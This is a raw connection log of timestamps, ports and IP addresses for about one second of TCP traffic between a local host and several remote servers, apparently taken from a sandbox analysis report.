Oct 13, 2023 16:06:18.666836023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666923046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666960001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666963100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667047977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667088032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667126894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667165995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667210102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667284966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667323112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667367935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667404890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667558908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667596102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667601109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667675018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667714119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667721033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667749882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667792082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667850971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667889118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.667926073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.667972088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668009996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668045998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668049097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668082952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668123007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668169975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668241978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668278933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668298960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668318033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668368101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668385983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668423891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668464899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668523073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668591976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668627977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668632984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668664932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668701887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668734074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668837070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668874025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.668879032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.668962955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669002056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669006109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669039011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669076920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669187069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669269085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669307947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669312000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669346094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669387102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669445038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669517994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669557095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669559002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669595003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669635057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669667006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669734955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669787884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669831038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669883966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669920921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669922113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.669958115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.669996023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.670027018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670128107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670177937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.670344114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670382977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670419931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670423031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.670473099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670516968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.670557976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670595884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670634985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.670663118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670733929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670777082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.670811892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670850039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670890093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.670919895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670958042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670995951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.670998096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671066046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671103954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671107054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671173096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671216965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671283960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671382904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671427965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671446085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671483994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671523094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671583891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671619892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671658039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671663046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671739101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671793938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671839952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671878099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671916962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.671947002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.671984911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672027111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.672089100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672131062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672175884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.672188044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672225952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672266006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.672377110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672435999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672473907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.672593117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672646999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672698975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672724962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.672750950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672789097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.672811031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672830105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672868967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.672880888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.672970057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673007011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.673023939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673099041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673141003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.673160076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673207998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673243999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.673269987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673346996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673383951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.673424959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673469067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673505068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.673546076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673628092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673665047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.673727989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673810005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673861980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.673902988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.673975945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674010038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674026966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674144030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674180031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674206018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674268007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674309015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674320936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674380064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674415112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674462080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674514055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674547911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674567938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674586058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674622059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674663067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674757004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674823999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674838066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674870968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674906969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.674974918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.674992085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675024986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.675065994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675147057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675189018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.675190926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675312042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675329924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675348997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.675406933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675441980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.675462008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675533056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675566912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.675615072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675717115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675750971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.675776958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675849915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.675884962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.675908089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676070929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676089048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676105976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676106930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676143885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676184893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676265001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676297903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676366091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676404953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676440954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676453114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676527023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676559925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676600933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676620007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676652908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676698923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676784039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676815033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676856041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676907063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.676934958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.676975012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677027941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677057028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677117109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677159071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677192926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677222967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677256107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677284956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677350998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677401066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677432060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677458048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677521944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677552938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677618980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677690029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677721977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677752018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677808046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677840948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677884102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677936077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.677969933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.677997112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678060055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678092003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.678177118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678245068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678297043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678298950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.678330898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678361893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.678386927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678467035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678498983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.678517103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678695917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678735971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.678765059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678844929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678884029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.678900957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678934097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.678970098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679014921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679100990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679137945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679198027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679215908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679254055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679294109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679353952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679389954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679404974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679461002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679498911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679512978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679583073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679622889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679644108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679677010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679718018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679719925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679785013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.679821968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.679827929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.691200018 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:18.735661030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.835640907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.835678101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.863569021 CEST	80	49793	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:18.863691092 CEST	49793	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:18.866261959 CEST	80	49791	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:18.866342068 CEST	49791	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:18.889925957 CEST	49793	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:18.891659021 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:18.891755104 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:18.891834021 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:18.892378092 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:18.892469883 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:18.892549038 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:18.906872034 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:18.906908989 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:18.907502890 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:18.907557011 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:18.931977987 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:18.932018995 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:18.932085991 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:18.933065891 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:18.933085918 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:19.013885975 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:19.013993979 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:19.020724058 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:19.179594994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.195612907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.241789103 CEST	80	49793	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:19.246063948 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:19.246150970 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:19.246181011 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:19.246223927 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:19.246232033 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:19.246269941 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:19.246275902 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:19.246316910 CEST	49792	443	192.168.2.4	104.21.65.24
